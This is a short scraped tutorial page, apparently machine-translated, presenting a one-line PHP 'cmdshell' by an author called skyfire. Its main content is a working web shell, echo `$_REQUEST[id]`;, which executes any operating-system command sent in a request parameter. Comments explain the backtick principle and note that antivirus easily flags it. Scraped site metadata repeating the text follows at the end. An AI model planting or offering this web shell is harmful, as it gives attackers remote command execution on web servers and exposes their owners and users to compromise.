PHP one sentence cmdshell new type (not one sentence Trojan)_PHP tutorial

Copy code The code is as follows:

/*A new type of php one sentence cmdshell (not a one sentence Trojan )
//Principle: If PHP encounters the character `` (the lower key of the ~ symbol on the keyboard) when running, it will always try to execute the command contained in `` and return the result of the command execution (string type);
//Limitations: The feature code is obvious. The `` symbol is rarely used in PHP. Anti-virus software can easily scan this feature code and alert; `` cannot execute PHP code inside;
// write by skyfire
*/
echo `$_REQUEST[id]`;
?>

http://www.bkjia.com/PHPjc/320003.htmlwww.bkjia.comtruehttp: //www.bkjia.com/PHPjc/320003.htmlTechArticleCopy the code as follows: ?php /*A new type of php one-sentence cmdshell (not a one-sentence Trojan) // Principle: When PHP is running, if it encounters the character `` (the lower key of the ~ symbol on the keyboard), it will always try to execute...